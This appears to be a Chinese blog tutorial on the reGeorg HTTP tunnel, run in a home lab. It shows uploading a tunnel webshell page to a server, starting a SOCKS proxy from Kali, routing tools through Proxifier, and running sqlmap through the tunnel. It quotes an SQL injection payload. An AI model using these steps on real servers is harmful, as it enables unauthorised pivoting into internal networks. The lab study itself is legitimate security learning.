HTTP隧道reGeorg

前言

  reGeorg的前身是2008年SensePost在BlackHat USA 2008 的 reDuh延伸与扩展。也是目 前安全从业人员使用最多,范围最广,支持多丰富的一款http隧道。从本质上讲,可以将 JSP/PHP/ASP/ASPX等页面上传到目标服务器,便可以访问该服务器后面的主机。

环境介绍

kali: 192.168.127.132 (nat模式)
win7: 192.168.127.129 (nat模式)
win10: 192.168.2.168
VMnet: 192.168.127.1

环境搭建

git clone https://github.com/sensepost/reGeorg.git
pip install urllib3
cd reGeorg/

  将目录下的tunnel.aspx拷贝到win7上,如果是php环境要拷贝tunnel.nosocket.php
  
  windows安装proxifier,添加代理服务器,ip填写kali的,端口随意
  
  添加代理规则,Application中,让mstsc.exe和python.exe走代理,或者不填,这样所有的流量都经过代理。Action 选择kali的ip。
  
  kali输入下面命令,-p 监听端口 -l 监听ip 选择0.0.0.0 将会监听所有ip

python reGeorgSocksProxy.py -u "http://192.168.127.129/tunnel.aspx" -p 8080 -l 0.0.0.0

  

流量转发

  先猜想工作模式,经过代理的数据包从win10转到虚拟机网卡,然后虚拟机网卡在转发到kali,kali转发到win7上。
  即192.168.2.168 → 192.168.127.1 → 192.168.127.132 → 192.168.127.129。
  win10开启wireshark后,利用sqlmap去验证我的猜想,python sqlmap.py -u "http://192.168.127.129/tunnel.aspx?id=1",看python的流量是否成功被转发。
  
  reGeorg正常工作
  
  Proxifier正常工作
  
  也仅仅是正常工作,到底是不是真的转发了流量,数据包说明一切,抓包后
  这条数据包kali向win7发送了数据,有趣的是后面跟上了一堆参数,相当于shell一样
  
  这条数据包才是验证是否是真正被转发的关键,sql注入的payload为1%5C%29%20AND%208377%3D6064%20AND%20%288567%3D8567,url解码后1\) AND 8377=6064 AND (8567=8567
  可看见源ip地址为:192.168.127.1(Vmnet)发送到目标地址为192.168.127.132(kali),数据包的Host是192.168.127.129,这说明了win10的sqlmap数据确实是被代理的。
  
  非常遗憾的是,目前大部分waf都会针对默认原装版本的reGeorg。

查看评论 -
评论